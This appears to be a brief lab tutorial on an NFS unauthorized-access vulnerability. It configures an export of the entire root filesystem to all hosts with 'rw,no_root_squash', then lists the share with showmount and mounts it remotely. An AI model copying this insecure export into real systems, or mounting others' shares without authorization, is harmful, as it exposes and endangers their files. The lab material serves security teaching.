NFS (Network File System) is a network file system that allows sharing of files across different network hosts. When the NFS server is not properly configured or lacks access control mechanisms, there may be an unauthorized access vulnerability. Attackers can use this vulnerability to access files and data on the affected host, and even modify or delete sensitive information.
Environment Setup
# Install nfs service
yum install nfs-utils.x86_64 -y
# Start the service
systemctl start nfs-server.service
# Set up auto-start
systemctl enable rpcbind.service
systemctl enable nfs-server.service
# Configure nfs
vim /etc/exports
/ *(rw,sync,no_root_squash)
# Start sharing
exportfs -r
Vulnerability Exploitation
View sharing
[root@localhost tmp]# showmount -e
Export list for localhost.localdomain:
/ *
Client mount command
mkdir /tmp/test
mount -t nfs 192.168.32.183:/ /tmp/test